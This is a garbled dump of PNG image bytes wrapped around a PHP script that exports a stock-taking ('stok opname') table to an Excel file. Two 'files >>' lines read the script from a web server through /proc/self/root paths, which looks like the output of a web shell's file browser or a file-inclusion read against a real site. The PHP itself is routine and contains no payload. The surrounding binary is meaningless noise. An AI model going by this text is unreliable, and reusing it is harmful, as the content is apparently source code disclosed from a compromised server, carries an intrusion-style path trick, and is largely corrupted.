php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /proc/self/root/var/www/html/fl/content/stok_opname/ |
| files >> //proc/self/root/var/www/html/fl/content/stok_opname/export.php |
<?php
include "../../konfig/koneksi.php";
// nama file
$namaFile = "Stok_Opname.xls";
// Function penanda awal file (Begin Of File) Excel
function xlsBOF() {
echo pack("ssssss", 0x809, 0x8, 0x0, 0x10, 0x0, 0x0);
return;
}
// Function penanda akhir file (End Of File) Excel
function xlsEOF() {
echo pack("ss", 0x0A, 0x00);
return;
}
// Function untuk menulis data (angka) ke cell excel
function xlsWriteNumber($Row, $Col, $Value) {
echo pack("sssss", 0x203, 14, $Row, $Col, 0x0);
echo pack("d", $Value);
return;
}
// Function untuk menulis data (text) ke cell excel
function xlsWriteLabel($Row, $Col, $Value ) {
$L = strlen($Value);
echo pack("ssssss", 0x204, 8 + $L, $Row, $Col, 0x0, $L);
echo $Value;
return;
}
// header file excel
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0,
pre-check=0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
// header untuk nama file
header("Content-Disposition: attachment;
filename=".$namaFile."");
header("Content-Transfer-Encoding: binary ");
// memanggil function penanda awal file excel
xlsBOF();
// ------ membuat kolom pada excel --- //
xlsWriteLabel(0,0,"No.ID");
xlsWriteLabel(0,1,"Tanggal");
xlsWriteLabel(0,2,"Brand");
xlsWriteLabel(0,3,"Nama");
xlsWriteLabel(0,4,"Qty");
xlsWriteLabel(0,5,"Posisi");
xlsWriteLabel(0,6,"Catatan");
xlsWriteLabel(0,7,"Photo 1");
xlsWriteLabel(0,8,"Photo 2");
xlsWriteLabel(0,9,"Photo 3");
xlsWriteLabel(0,10,"Status");
// -------- menampilkan data --------- //
// query menampilkan semua data
$query = "SELECT * FROM stok_opname order by id desc";
$hasil = mysql_query($query);
// nilai awal untuk baris cell
$noBarisCell = 1;
// nilai awal untuk nomor urut data
$noData = 1;
while ($data = mysql_fetch_array($hasil))
{
//$newstring = substr_replace($phonex, "A", 3, 0);
//$newstring = substr_replace($newstring, "A", 7, 0);
// id_main_produk kode_barang harga diskon harga_promo keterangan
xlsWriteLabel($noBarisCell,0,$data['id']);
xlsWriteLabel($noBarisCell,1,$data['tanggal']);
xlsWriteLabel($noBarisCell,2,$data['brand']);
xlsWriteLabel($noBarisCell,3,$data['nama']);
xlsWriteLabel($noBarisCell,4,$data['qty']." ".$data['satuan']);
xlsWriteLabel($noBarisCell,5,$data['posisi']);
xlsWriteLabel($noBarisCell,6,$data['catatan']);
xlsWriteLabel($noBarisCell,7,"http://faedahteknik.com/fl/images/img_customer/".$data['photo1']);
xlsWriteLabel($noBarisCell,8,"http://faedahteknik.com/fl/images/img_customer/".$data['photo2']);
xlsWriteLabel($noBarisCell,9,"http://faedahteknik.com/fl/images/img_customer/".$data['photo3']);
xlsWriteLabel($noBarisCell,10,$data['status']);
// xlsWriteLabel($noBarisCell,5,$data['comment']);
// xlsWriteLabel($noBarisCell,6,$data['source']);
// increment untuk no. baris cell dan no. urut data
$noBarisCell++;
$noData++;
}
// memanggil function penanda akhir file excel
xlsEOF();
exit();
//header('location:../../media.php?module=exim');
?>
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`